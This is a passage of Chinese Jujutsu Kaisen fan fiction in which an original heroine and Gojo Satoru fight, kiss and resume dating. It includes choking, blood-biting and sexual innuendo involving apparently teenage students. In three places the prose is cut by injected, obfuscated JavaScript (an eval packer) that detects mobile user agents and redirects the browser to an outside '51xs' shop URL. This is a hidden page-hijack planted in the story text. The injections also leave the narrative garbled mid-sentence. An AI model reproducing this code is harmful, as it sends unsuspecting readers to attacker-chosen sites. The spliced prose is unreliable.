刚刚发生的一切太过突然,她还没完全回过神来,大脑一片空白。 夏油杰似乎也心不在焉,他慢条斯理地解开了高专制服的黄铜纽扣,随手将湿漉漉的制服搭在旁边的柜子上。当他一粒粒解开里面那件薄衬衫的扣子时,似乎才意识到海月遥一直在注视着他。 “小遥……”他轻声唤道,将发呆的海月遥拉回现实。 这时,她才注意到夏油杰的打扮。 他的衬衫扣子已全数解开,湿透的衬衣紧贴着肌肤,半透明间隐约透露出肉色,点缀着水润的粉色。敞露的部分毫无保留地暴露在空气中,水珠随着他身体的曲线游走,自锁骨窝流淌而下,经过光洁的胸膛,沿着格外分明的腹肌纹路,最终消失在人鱼线之中。 “就算我们从小认识……你看着我换衣服也……”他欲言又止,眉心微蹙,窘迫地咬着下嘴唇,上挑的眼尾勾起一抹欲语还休的蛊惑。 偏偏在这样充满诱惑的场景下,他的耳根却羞涩地红了。 “……小遥能转过身去吗?” “哦。” 海月遥平静地将手搭在一旁的桌子上,转动椅子换了个方向。完全背对他后,背后传来了窸窸窣窣的声响,显然,他正在换衣服。 过了一会儿,脚步声逐渐靠近,他一手撑在椅背上,让她再次转过身来。 此时他已换上宽松的白T恤,湿漉漉的漂亮长发柔顺地垂在肩头,衣领处残留点点水渍。 “还冷吗?”夏油杰温声问道,弯下腰,双手轻抚她的手背,试探她是否仍然感到寒冷。他垂下眼,专注地凝视着她。 他俯下身时,湿润的发丝如流云般倾泻而下,汇成一条乌润的黑河,带着润泽的水汽和若隐若现的香气,轻拂过她的手侧。 海月遥清晰记得,九十九由基问及她喜欢的类型时,关于外表,她的回答是黑发、蓝眼和痣。显然,那描述的是她自己。但此刻,她觉得幼驯染的黑发宛如流动的黑夜,反射的光泽似波光粼粼的月色,清透而冰冷。 杰肯定花了大功夫保养头发。她暗戳戳地想。自己的这个幼驯染向来注意个性和形象。 “杰的手好冷。”海月遥不忘吐槽。 他一愣,随即无奈地笑道:“原来需要温暖的是我。” 说完,或许为了汲取更多暖意,他的手从她的手背缓缓滑过,按捏过她分明的指节,暧昧地抚过她那玉白的指尖,最后停留在散发着暖意的茶杯上。 “好暖和……”他轻声感叹。 海月遥看着他穿着那件过于宽松的短袖T恤,领口大得弯下身时,她都能隐隐约约看到一抹粉色。 她觉得,这位幼驯染在关心自己这方面实在是迟钝。他总是不知道如何照顾好自己。 但海月大人宽容地原谅了他! 她从椅子上站起来,此时她比夏油杰还高出不少。她将自己手中的热茶塞给他,又用毯子将他裹得严严实实。 “这样就不冷了。”她满意地看着被自己裹成阿拉伯人的夏油杰,他现在只有脸露了出来。 海月大人实在是太会照顾孩子啦! 夏油杰:…… 他有时候挺想骂人的。 还有,悟前几天身上的红印绝对是他自己掐的!这家伙一看就没开窍! …… 在小客厅里,两人面对面坐着。 “所以,悟跟你说让你一个人去过?”海月遥用力点头,目光灼灼地注视着人际交往高手夏油老师。 “小遥,你觉得这句话是什么意思?”他温和反问,同时悠闲地品了口热茶。 “分手?”她试探性地回答。 “对,就是分手。”他确认了她的答案,接着问,“小遥,你之前说过这次交往你原本不知情,对吧?” “1。”她简洁回答。 “被迫交往时,是不是有很多烦恼?比如距离太近,失去了个人空间?” “1。” “你是不是还纠结过要不要告诉悟这是假交往?” “1。” “还有,你是不是苦恼过自己到底喜不喜欢悟?” “1。” “小遥是不是……?” 他逐一询问,每次她都肯定地回答“1”。 “那么现在,小遥,你不需要再烦恼这些了。”他循循善诱地说,“就当作什么都没发生过,你们就能回到交往前的朋友状态。” “真的可以吗?”她有些不确定。 “当然可以。”他笃定地回答,指尖轻敲桌面,“这不是你期望的吗?大家还能自在地做朋友。” 海月遥若有所思地点点头。 “现在,你知道自己该怎么做了吧?”他进一步引导。 海月遥用力点头:“和悟谈谈!” 夏油杰:…… 合着他刚刚说那么多,你一句也没有听。 “……那要谈什么呢?”夏油杰问,“道歉吗?可并不全是你的错。” “不清楚。”海月遥坦言,“但我不喜欢现在这样。”她向来自我中心,不在乎五条悟是否想见她,只是不喜欢那样荒谬的分别。 夏油杰的表情扭曲一瞬,随即露出极其温和的笑容:“那祝你……顺利。”他努力克制,不让自己的话语中透露出咬牙切齿的意味。 “嗯。” 似乎犹觉不够,她还认真地朝夏油杰道谢:“谢谢杰。” 夏油杰:…… 他恨! …… 海月遥才不管五条悟怎么想,第二天就拉着他,说要去他家藏书阁。 “哈?!不是,海月遥你……!”五条悟瞪大了眼睛,他昨天已经强忍住怒火,没想到今天她还得寸进尺,要往枪口上撞。 海月遥只是淡淡地瞥了他一眼,轻飘飘地说:“你输给我了。” 这句话仿佛有魔力一般,让五条悟瞬间哑火,他露出一副“现在能不能再跟你打一架,打赢了就不用被你这个家伙纠缠”的表情。 但他不能。 于是,他只能带她前往京都的五条本家。 昨日一场细雨洗净天空的尘埃,澄净的苍蓝色天空一望无际。此时正值樱花盛放之季,缘侧高大的樱树花开如云,长廊漫步间,满眼都是绚烂的樱花。 五条悟长腿一迈,双手插在兜里,独自走在前面。他故意加快脚步,想要摆脱身后那个让他恼火的家伙。 然而,过了几秒,他却又忍不住停下脚步,扭头看向后面的海月遥。她一直默默地跟在身后,并没有像之前那样扯他的衣角。 他臭着脸问:“你怎么不跟上?” 海月遥诧异地看着他。 她明明一直跟着的啊?而且她来过很多次五条家,又不是小孩子了,怎么可能会走丢? 等她走到他身旁,五条悟才重新走动。 这次他放慢速度,故意配合她的步调。他时不时地扭头看向她,可一旦她看过来时,他就迅速转头,仿佛庭院中的樱花美得令人心醉,令他那看尽繁华的六眼也为之倾倒。 结果一直到坐在藏书阁她常坐的那个角落处时,海月遥都没有找到合适的开口机会,也不知道说什么。她捧着书,心不在焉地翻看。 尽管心想着要冷落这个过分的家伙,五条悟却依旧在她对面坐下,目光灼灼地盯着她。 他昨天听到了夏油杰那句“假交往”,并目睹了夏油杰在他走后淋雨跑过来接走呆立着的少女的情景。 五条悟当时就在不远处高楼上,目光紧紧锁定樱花树下的身影。 她打着伞,一动不动地站在原地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591595|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果她还在那里站十分钟,他就把她拉去室内。他这样想着,盘腿而坐,双手交叠支在脚踝处,蓝色的眼眸凝视着她,一刻不移。 这个恶劣的家伙明明很强,却不知道为什么那么容易生病,要是在这种阴冷天气站太久了可不行。 正当他打算从楼上跃下,催促她进入室内时,夏油杰出现了。他虚揽着她的肩膀,领着她走进宿舍。 那时,五条悟不知为何又想起了“相合伞”的说法。这个家伙与自己共伞时显得那么抗拒,但与杰同伞时却如此顺从。 杰稍有疏离,她便主动找杰问长问短。如果自己不理她,她也会那样来找自己吗?会用那双通透的蓝色猫眼,担忧而又专注地看向自己一人吗? 五条悟紧抿着唇。 而且,明明昨天才说了分手,今天她却像什么都没发生过一样来找自己。这是因为自己对她来说并不重要吗?如果她与杰分手,又会对杰怎么样呢? 一个又一个疑问在他脑海中浮现又消散,他无法控制自己的胡思乱想。 随着思绪的深入,他的眼神逐渐冷下来,眉心也紧蹙起来。他已经这么久不说话了,然而她却没有一句关心的话。 这个冷血、无情又恶劣的坏女人! …… 海月遥捧着书,已经十多分钟未曾翻页。对面的视线仿佛有实质,她僵硬地低垂着头。 如果视线如刀,她大概已经被凌迟了吧? 悟似乎相当生气。 按理说,她该道歉。但海月遥细想,错并不全在她,况且昨日她已经道过歉。为什么现在还要她向悟低头? 这太不公平了! 于是,她选择沉默,与五条悟展开一场无声的“木头人”游戏。 半小时过去,无人开口。 一小时过去,依旧沉默。 三小时流逝,还是静寂无声。 幸好不是比赛憋气。 最终,沉默被打破——障子门推开的声音响起,是五条家的侍者。他端着一盘点心,迟疑地望着冷下脸面对面坐着的两人,一时犹豫是否该退下。 “……有事直说。”五条悟终于开口,海月遥心底莫名涌起“我赢了”的念头。 “有、有点心。”侍者颤声将托盘放于门口,告退后迅速拉门离去,仿佛逃离冰窟。 “哈,能吃到我家的抹茶大福,你应该感激涕零。”他双手环胸,语气比刚才更为恶劣。 “我不吃。”海月遥一听他的嘲讽就来气,但她还是强压着怒火,平静地回应。 “……还有巧克力卷。” “不稀罕。” “怎么!你以前不是很喜欢吗?上次还嚷嚷着要吃,配的饮料也是你最爱的橘子汽水!”他声音提高,难以置信地说道,“这么快就变心了吗?你这小鬼!” 他还特意提前叮嘱了! 这个冷血、无情又恶劣的坏女人! 五条悟又在心底骂一遍。 海月遥向来不吃硬。 狗才吃嗟来之食! 她转过头去,连看都不看他一眼,冷冷地吐出一个字:“0。” 她甚至连一句完整的话都不愿意跟他说,这让五条悟更加生气了。 他猛地站起身,端起托盘,“砰”地一声砸在她面前,托盘上的大福也跟着颤抖起来。 “吃!”他推了过去。 “0。”她推了回来。 “吃!”他更加用力地推向她。 “0!”她也更加坚定地推了回去。 “你这家伙,让你吃就吃!”“0!”“你固执什么!”“0!”“你有病啊!”“你才有病!”“你这不是会说话吗!”“1!”“你个人机!”…… 两人开始吵架,起初还是通过托盘,后来干脆放弃它,直接开始手对手地推搡起来。 直到不知是谁先挥出了第一拳,局势就彻底失控了。 他们两个,打起来了。 15.悟线(十五) 两个人扭打在一起。 不用咒力,不用波纹,纯粹的肉搏。 打着打着,两人越来越生气。 海月遥回想起自己之前的遭遇:被迫演戏、被架在同期面前被火烤、莫名其妙遭到的冷遇,她本就不擅长处理这些人际纷争。而过去的十天,对她来说更是难熬。 五条悟则想起这十天来被她当作累赘、猴子般戏耍的经历,想起她突如其来的冷淡、不合时宜的恶作剧,以及她咬他脖颈时那酥麻的触感。 这些不满如火山喷发,最终导致了这场莫名其妙的打斗。此刻,他们身上衣服遮掩下的淤青红肿已数不胜数。 “你总是这样践踏别人的心意!” “砰!”五条悟骤然发力,一手扼住她的脖子,另一手紧扣她的双腕,粗暴地将她从背后压制在地。海月遥的额头重重磕在地板上,血色和黑发交缠在一起,痛得她眼前泛着白光。 “你也不问我是不是喜欢!”海月遥反驳,同时曲肘猛击他的腹部。 五条悟忍不住干呕,海月遥趁机挣脱,翻身跨坐在他腰间。 “你这个自以为是的混蛋!”她一手揪住他的衣领,一拳狠狠打向他的左脸,直接打得他侧偏过头。 “哈?!明明是你先表白的!”五条悟大声反驳,他一手支撑身体,另一手紧紧钳住她的脸往上抬。 海月遥早就知道,五条悟的手极大。此刻,他的手仿佛要将她的骨头捏碎一般,虎口扣抵在她的唇上,用力挤压着柔软的下唇,指缝紧嵌在她脸颊的软肉中。力气之大,海月遥确信自己脸上留下了鲜红的指印。 她毫不示弱,猛然张口,狠狠咬在他的虎口处。五条悟痛得倒吸冷气,恶声质问:“你是狗吗?” 即便疼痛难忍,他依旧不松手,反而更加用力钳制。海月遥亦然,紧咬不放,直至血珠从虎口渗出,染红了她苍白的唇瓣。 五条悟这才猛地松开手 她的白玉般脸庞上留下了明显的指印,但她毫不在意。粉色的舌尖轻舔去唇上的血珠,那原本苍白的唇瓣仿佛被点缀了一抹妖异的脂红,更添几分姝丽。她居高临下地睥睨着他,冷声嘲讽。 “像那样的事情,你总得多确认几遍吧!” 看着他吃痛的表情,海月遥仰着头,露出一个危险而又锐利的笑容。那细如柳叶的眉梢微微下压,流露出一丝更深的恶意。 这样侵略性的笑容,与五条悟无数次梦回时见到的那个身影渐渐重合。他心中涌起一股难以名状的情绪,不由自主地咽了口唾沫,视线慌乱地移开,不敢再多看一眼。 但下一刻,他又对自己的动摇感到不满,转而凶狠地瞪向身上的海月遥。 “那你喜欢我吗?” 他恶声恶气,大手不由分说地掐上了她的脖子,指腹紧贴着那蓬勃跳动的脉搏,仿佛随时都能掐断它。 海月遥却是不慌不忙,顺势低下头,如绸缎般顺滑的黑发轻轻滑落,拂过他的脸颊,又温柔地垂落至他的胸膛。 冰冷、柔顺的触感,一如寒夜里的月色。 “不知道。”她用力地扯着他后脑勺的白发,迫使他仰起头,“我不知道。” 海月遥刚才出手颇重,少年脸上已留下青紫的伤痕,紧抿的唇角还渗着血丝。他额角冒汗,白发湿漉漉地贴在细腻的肌肤上。 五条悟微微喘气,胸膛起伏。苍蓝眼眸牢牢锁定她,犹如猎食者紧盯猎物。尽管看上去有些狼狈,但那神似天人的容颜却在此刻散发出一种被凌虐的美感。 但他记得海月遥的话,执拗地追问:“那你喜欢我吗?” 说什么都会听。 真可爱。 海月遥心中莫名涌出这个念头。 “我不知道。” “不知道?!那你为什么要牵我的手,抱我!甚至脱我的衣服!”他高声质问,“这些难道是朋友之间该有的举动吗?” 他逼近一步,“你再好好想想,你到底喜不喜欢我?” “我不知道……”五条悟扼住她的喉咙,她呼吸困难,说话间都夹杂着喘息声。 不知道就是朋友。 五条悟钳住她的脖子,仰头吻了上去。但因冲动过猛,加上两人都戴着眼镜,这个吻磕碰到了牙齿,又撞痛了眼镜架下的鼻梁。 好痛。 口腔里弥漫着血腥味。 这个吻,与柔软或甜蜜无关。 初吻的糟糕程度超乎他的想象,但五条悟仍咬牙追问:“但接吻呢!难道接吻也是朋友间该做的事?!” 又痛又恼,海月遥的火气再度升腾。她紧攥五条悟的手腕,仿佛要将他的骨头捏碎。 她承认牵手、拥抱是她主动的,但刚才的吻,分明是他的自作主张!这个脑子有病的臭屁墨镜男! 一点都不可爱! “我说了不知道!我不是正在验证吗!”她罕见地高声斥责,“你就不能耐心等等吗!” “那要你怎么验证!”他愤愤不平地反问。 海月遥盯着他看了片刻,随后扔掉两人的眼镜。她俯下身,五条悟以为她要吻他时,她却只是用舌尖轻轻舔去他唇角的血丝,又转而亲吻着、舔舐着他左脸的青紫伤痕。 他感到一阵莫名的情绪涌上心头,不知是羞耻还是恼火,浑身开始发热。 湿润、柔软的触感,与她扯着自己头发的强硬态度截然不同。 “……你做什么?”他的语气稍微缓和一些。 海月遥看着他泛红的脸颊,轻声道:“甜。” “哈?!说人话!完全不明白你的意思?” “前几天咬悟的时候,也觉得甜。”她认真地解释道,“我觉得有可能是喜欢。” 这电波系的家伙终于脑子出问题了吗? 但他还是忍不住确认:“真的吗?” 她点了点头:“嗯。” 不知道想了些什么,他的脸又红上几分。他咬咬牙,解开自己的扣子,把里面的衬衫和T恤也往外一扯,露出大片冷白的肌肤,上面斑驳地布满了她留下的青紫的、红肿的瘀痕。 “那你咬吧。” 他侧过头,仰起脖子,方便她下口,一副任人宰割的样子。 海月遥:……? 她只是说,自己可能喜欢他,为什么他突然又让她咬他? 但这样子很可爱。 所以她还是照做了,一手勾着他的脖子,一手按在他的后背上,咬上那些青紫的痕迹。 与上次不同,这次她没有留情,而是狠狠地碾咬着,腥甜的血在她的口腔里弥漫。 不坏的感觉。 她舔舐掉血迹,尖锐的虎牙抵在那不大的伤口,陷入,再往外一勾,抵按、搅动,更多的血溢了出来。 疼痛,酥痒,燥热,不知道是谁先化为拍打海岸的暗潮,搅得五条悟有些失神。 但他对更多的伤口毫不在意,满脸通红,瞳孔因兴奋而骤然收缩,汗湿的刘海紧贴在脸颊。他紧紧环住她的腰,每当她咬下一口,他便不厌其烦地一遍又一遍地确认。 “你更喜欢我了吗?” “可能吧。” “你更喜欢我了吗?” “1。” “你……” 开始海月遥还有耐心回答,后面直接一手钳在他脸侧,捂着他的嘴,不让他说话。 口鼻被捂住,呼吸困难,眩晕与窒息感交织袭来。然而,此刻的五条悟却心生得意。 ——看,她果然还是对自己有感觉的。 但片刻后,他又因她迟迟不给予明确回应而感到恼怒。喜欢便喜欢,不喜欢便不喜欢,这有什么难的?高傲且通透的神子,实在不明白她究竟在纠结什么。 他烦躁地挣开她的手,与她四目相对,再次追问:“那你现在喜欢我吗?” 海月遥坐在他身上,背对着光,那双猫眼亮得吓人,像是空茫的大海,又像是无机质的机器,一眨不眨地看着他。最后,她探出舌尖,舔去唇上的血痕。 五条悟的视线不自觉地被她殷红的薄唇吸引,那润泽的唇瓣间,尖利的虎牙若隐若现,他身上又隐隐作痛起来。 一个念头在他脑海中闪过: ——完了,要被这坏女人吃掉了。 海月遥不知道他在想些什么,回味着他刚刚微颤的身体、紧绷的肌肉和湿热的喘息,最终客观评价道:“八分。” “为什么不是十……” “满分是一百分。”海月遥直接打断了他。 他更生气了:“我的身体只值八分吗?” “我用的是加减制。” “……那我原来多少分?” “八十五。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604008|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那岂不是现在九十三了?他心中一阵得意。再努力一下,轻轻松松就能满分。 这么想着,他像个慷慨大方的主人,招待着远道而来的客人,把领口拉得更开,催促道:“那你再咬几口。” 海月遥诧异地看着他。 她又不是狗或吸血鬼,见人就咬! “0。”她别过头去,表明态度。 这个人难道没了1和0就不会说话了吗?五条悟翻了个白眼,却被她掐了一把腰间软肉。 “现在已经九十三了。”他抬头看着坐在自己身上的海月遥,“可以了吗?” 海月遥眨了眨眼,长长的睫毛轻轻颤动,如同蝴蝶振翅般轻盈。她的脸上闪过一丝茫然,似乎还没完全理解五条悟的意思。 “我是说——”他声音原本很大,却突然降低,“复合……” 沉默半分钟后。 他按捺不住:“你说句话啊!” “知道了。”海月遥瞥见他通红的脸。 又过了半分钟。 “啊?就这一句话?”他忍不住追问。 她感到困惑:“你不是让我说句话吗?” 话音刚落,她看见五条悟的脸色几经变化,最后恼羞成怒地骂道:“你这个笨蛋!” “你要我说什么,就直接说啊!”她反驳道。 “我是说,复……” “复?” “复合!”说出这个词后,他仿佛卸下重担,“你的好感度都93了。” “嗯。” “你是不是有点喜欢我?” “可能……”在他的逼视下,她改口,“是有点。” “那复合吧!”五条悟迫不及待地提议。 “为什么?”她皱眉问道。 五条悟觉得话说到这个份上,她还问为什么,实在是有些过分。他急切地问道:“你都喜欢我了,为什么不能复合?!” 在他的加工下,重要的“有点”两个字就被他省略掉。 “我有点喜欢悟,为什么就要交往?” 五条悟被她的话噎了一下,双唇嗫喏,哽声说道:“……你喜欢我,我也对你有一点好感,为什么不能交往?” “只有一点好感为什么要交往?” “那我喜欢你行了吧!” “悟喜欢我吗?”她双手捧起他的脸,平静地看着他,咬字清晰,“可是,悟,我们之前交往的时候,你没有说过一次喜欢我。” 她垂下眼帘,莫名多了分忧郁,再次重复道:“一次都没有。” 此刻的五条悟只觉得海月遥这幅样子可怜又可爱,热气似乎在脸上蒸腾,不用想也知道自己的脸肯定红透了。 “那……我喜欢你……”他一开始别开眼去、眼神闪烁不定,随后又觉得这样不行,直视着海月遥的眼睛,认真地说道: “遥,我真的很喜欢你。” 在他准备继续倾诉自己的心意时,海月遥却突然别过头去,一手捂住嘴巴,肩膀忍不住地颤抖。 所以她刚刚在恶、作、剧!!! 五条悟不敢置信地想。 坏女人!坏女人!彻彻底底的坏女人! 无法原谅! 不可饶恕! “你又捉弄我!”他忍不住高声指责。 “0。”她不肯看他的眼睛,“我只是,噗,想起了高兴的事。” 就在五条悟准备生气地骂她前,海月遥捧着他的脸,俯下身,如绸缎的黑发滑落,如云似墨,笼罩着二人。 他们之间的距离近到可以感受到彼此温热的吐息,鼻尖也洋溢着对方的气息。 “真拿你没办法。”她轻声说道,声音里还带着笑音,“我们交往吧,悟?” 坏女人! 五条悟却轻声回应:“嗯……” 她说过,重要的事情需要多确认几遍。 所以他再次问道:“我们现在是在交往吗?” 说着他稍稍坐直身,海月遥从他的腰间滑到他的腰胯间。 “是。” 他紧紧搂住她的腰,反复确认:“真的是在交往?不是被逼被骗?” “是真的交往。” 海月遥耐心地肯定。 “再问多少遍,也是真的。” “——我们在交往,悟。” 16.悟线(十六) 确认过重要事情后,五条悟才开始考虑其他,例如—— “你怎么这么喜欢咬人?”他感到脖颈和胸膛隐隐作痛,不禁纳闷地问,“喜欢血味?吸血鬼?” “0。”海月遥简短回答,然后解释,“咬悟的时候,悟的反应很有趣。” 又是拿他寻开心……这家伙真是恶劣…… “那你也让我咬一口。”他语气凶狠,小拇指勾起唇侧,露出虎牙威胁,“我会咬到你出血。” 下一秒海月遥就拢住衣领,用沉默显示自己的态度。不,也不算完全的沉默,因为她还面无表情地补充一句:“悟是变态。” “可你也咬我了!” “悟是变态。” “那你不也是变态吗!” “悟是变态。” “那我不咬了总行了吧!” “悟是变态。” “你是只会重复吗!”他气呼呼地摇晃她。 “哈哈。”海月遥像没有骨头似的随他摇,似乎还觉得很好玩,不忘补充:“悟是变态。” 火大,这个家伙真让人火大。 拢住衣领,他就没别的地方可以下口了吗!别小瞧他! 他坐直身后,倒是比她现在高出一点。五条悟捧着她的脸,小心翼翼地拨开她额前的刘海,露出苍白的额头上一道醒目的血痕。他轻柔地拨去伤口上粘连的发丝。 然后,他模仿她之前的举动,伸出舌尖,一点点地轻舔她的血迹。 没什么特别的嘛,五条悟还有闲心胡思乱想,就是普通的血腥味。 如同铁锈一般,鲜腥又咸涩,与他口腔被划破时的味道一样。 他们的血,味道相同。 他们的血在他的口腔里交融。 最后,这些血全被他尽数吞入腹中。 这个认知让他的心情莫名好转。 …… 一动不动的海月遥,脑海里反复回荡着三个字: 被舔了。 这个认知让她有些恍惚,随即又被另一个模糊的念头取代: 悟是狗。 虽然五条悟舔得漫不经心,动作轻柔,忽快忽慢,有点像猫咪在清理自己的毛发,但他实在是太大一只,显然已经超出了海月遥对可爱猫咪的界定。 她神情凝重,伸出手推开他的肩膀,又轻拍了一下他柔软的发顶。五条悟此刻心情正好,并没有因为她的举动而生气,只是带着些许笑意问道:“怎么了?” 被拍了头还傻乐,是狗! 她默不作声,捧起他的脸胡乱揉搓,他却更得意了:“我就知道你喜欢我的脸。” 被揉了脸还傻乐,绝对是狗! 海月遥大惊。 五条悟还不知道在重新交往的第一天,女朋友就把他当狗看了。他看着她微蹙着眉心,似乎不太适应这种亲密接触,就觉得她这种窘迫的样子实在可爱至极。 “哼哼~”他得意地轻哼一声,把脸凑得更近了,“既然你这么喜欢,那我就大发慈悲地让你多看几眼吧~” 海月遥眸色淡然,凝视着眼前的他。她知道五条悟很白,不同于她的苍白,他的白更偏向于冷白。雪白的发丝,银白的睫毛,稍有不慎就会显得突兀。但他恰到好处。 长而浓密的睫毛,宛如蝴蝶翅膀,轻盈而精致,每一根都仿佛经过精心雕琢。当眼帘微垂,苍蓝色的眼眸便闪烁出澄澈的光芒。高挺的鼻梁,如樱的唇色,皮肤细腻如瓷,这张脸本身就是一件完美的艺术品。 现在他脸上唯一突兀的一点,或许就是沾染在唇瓣上的血渍,像是雪白画布上不小心甩上的红颜料。 这么想着,她惋惜地伸出手,指腹擦去他唇上的血液。这一举动似乎刺激到了五条悟,他猛地后仰,脖颈处隐隐透出一抹羞红。 海月遥有些不明所以,她舔了舔指尖上的血迹,却看到五条悟的脸更加红了。 “怎么了?”这次轮到她问出这句话。 “间、间接接吻……”他小声地嘟囔着,声音虽小,但却被她敏锐地捕捉到。 海月遥歪着头,不解地问道:“可我们刚刚不是已经直接kiss过了吗?” 五条悟愣了半秒,才反应过来她所说的是那个在气头上、磕到牙齿又撞到鼻梁的糟糕……初吻。他的脸色顿时变得有些难看。 “那也算是接吻吗?”他反问道,语气中透露出些许不满。 接吻,不就是嘴对嘴吗? 海月遥确信自己的定义没错。她回想起,刚刚沾着血液的指尖轻轻触碰在唇上,柔软的唇瓣被压出一个小凹陷,足以引人遐想贴上去时的触感。 “接吻……”她也想起了刚才的经历,磕得疼,还不小心咬破了舌头,口腔里弥漫着血腥味,此刻仍在微微渗血,伴随着隐约的麻木感。“以后都不想这样了……” “那怎么行!”五条悟断然拒绝。 他难得地严肃起来,双手轻扶她腰侧,“我们再试一次。” 海月遥面露难色。 她吐出舌头,粉红舌面上,一块深红到发黑的伤口赫然在目。 “太疼,不要。”她口齿含糊地解释。 但随即,她自我治疗,瞬间伤口愈合。 海月遥不算是怕痛的类型,但也不是没苦硬吃的类型。 五条悟想起来她不吃硬,放缓语气:“再试试嘛……” “0。”她软也不吃。 他开始试图推销和他接吻的好处:“真的不会痛,反而会很软很舒服。” “悟,你以前接过吻吗?”她反问。 “……没有。”他坦言。 海月遥疑惑:“那你怎么知道会舒服?” 五条悟表情一变再变,最终拉着她的手,让她的指尖按上他柔软的唇。和海月遥不同,他平常看上去大大咧咧,却习惯涂抹透明的唇膏,那柔软的触感,犹如果冻般,引人忍不住想要揉捏。 “很软对吧?我不会像上次那样的。”他强调说,“不,上次那个根本不能算是kiss。” “悟,很在意初吻吗?”海月遥对玩弄他的唇瓣起了兴致,碍于实在是想接吻,五条悟都按捺住脾气。 “也没有……好吧,有点……”他勉强承认。 或许是感到有些羞赧,他偏过头去,耳尖微微透着粉色。不满地撇撇嘴。 可爱,只有一点点。 海月遥心想。 她勾住他的脖子,仰头吻了上去。这次的动作温和许多,不再像之前互殴时那般粗暴。 她的吻带有独特的个人风格,仿佛要彻底探索眼前这个人。 舔舐、流转、含吮、轻咬……她沉浸在自己的品尝中,毫不在意对方的感受。 可在要进入下一步前遭到了阻碍。 五条悟紧闭着双唇,整个人僵硬不已。他原本想象中的接吻,只是唇瓣轻轻相触,如花瓣般一触即离,又或是如春日和风,带着清香轻拂过脸颊。 他倒不是什么都不懂,反而因为看过不少而更容易想歪。此刻的吻,更像是大餐前的开胃菜,而她则是坐在上座的挑剔食客。 思绪渐多,他的身体开始发热,脑海变得朦胧。达到某个阈值时,他连基础的思考都无法进行,只剩一片空白。 因此,在海月遥不满地命令他“张嘴”时,他无意识地遵从了。随后,两人唇齿相依,热情缠绵,呼吸间透露出灼热的气息,即使在三月的末尾也显得异常炙热。 她本就是一个极其恶劣的人,此刻她一手按住五条悟的脸侧,揉搓着,导致他口腔内的伤口再次裂开。两人的亲吻中弥漫着更尖锐、更深刻的血腥气息。 五条悟原本只是轻抚她腰侧的手,此刻却紧紧收拢,仿佛要将她完全融入自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在他倒想掐一把那白嫩的大腿根,瞧瞧那软肉会不会如嫩滑的布丁般,自他指缝间溢出。又或者,咬下去的话,那滋味是否会像他钟爱的喜久福一样,软糯之中透着甜腻…… 但就在这时,海月遥冷淡的声音突然响起:“出来了。” 这简短的话语如同冷水浇头,瞬间将五条悟从幻想中拉回现实。他猛地抬起头,慌乱地看向海月遥:“那还不是因为你……啊,不,还没……还没……” 结结巴巴,声音渐小。 “悟,你又流鼻血了……”海月遥皱着眉,铁证都摆上来了,她实在不知道他有什么好辩驳的。但宽容的海月大人选择原谅他,拿出湿巾给他细细地擦去鼻血。 “啊……鼻血……嗯……”他有些语无伦次。 ……等等? 海月遥的手一顿。 不是鼻血的话?他刚刚说的什么? 海月遥面无表情地往后看。 在万众瞩目下,现在出来了。 她毫无波澜的脸首次出现了裂痕。 “裙子上也有。”她用平静掩饰恐惧,心如死灰地看向五条悟,而他的眼神已经彻底失去焦点,陷入一片混乱。 海月遥开始默不作声地解开裙子上的皮带,这个举动惊醒了五条悟。他匆忙间抓住她的手,崩溃地大喊:“你干什么?!” 海月遥再也维持不住表面的冷静,同样崩溃地回应:“我不要穿沾着口口的裙子!” “我给你找替换的衣服!你先别脱!”“我不要!!!”“等等!别脱!!!”“上面有口口!!!”“求你别说了……啊!你干嘛脱.内裤!”“上面也有口口!我不要穿!!!”“啊!别脱!别脱!别脱啊!!!” 兵荒马乱。 17.悟线(十七) 家入硝子死鱼眼地盯着眼前的两个同期。就在一分钟前,五条悟得意地宣布了他们交往的消息。 不对,他上次这么说还是十一天前,怎么又交往了?难道她的记忆出错了?之前的场景只是预知梦? 家入硝子心里琢磨,她并不知道两人两天前已经分手。她感觉自己像是村里刚通网,就被其他三个同期的复杂关系给震撼到了。 幸好没把她卷进去。家入硝子瞥了眼旁边笑容僵硬的夏油杰,默默地往后退了一步。 她绝对不要被牵扯进去! …… 海月遥觉得,和五条悟交往后,他变得异常黏人,比以前更甚。 当然,事情的起因是两人交往的第一天晚上,她穿着五条家精心准备的和服,怀抱着柔软的枕头,推开五条悟卧室的门。是的,这一天她留宿五条家了,毕竟她的衣服还在那里。 已是深夜时分,灯火俱熄,唯有清透的月光洒落。五条悟听到门那边的动静,抬头望去,一刹那间的表情仿佛见鬼一般。 夜袭?! 他们今天才开始交往啊!!! 这进展是不是太快了?! 他房间里也没准备,万一有孩子了怎么办……两人也到了可以结婚的年纪……不过他有无下限……而且她也不喜欢让那种东西沾到身上…… 海月遥站在门口,居高临下地注视着他。他的脸色在她的目光下变幻不定,红了又白,白了又红,不知道在想什么。 “你要干什么?!”他的声音变了调。 她微微扬起下巴,以一种不容置疑的口吻冷声宣布:“睡这里。” 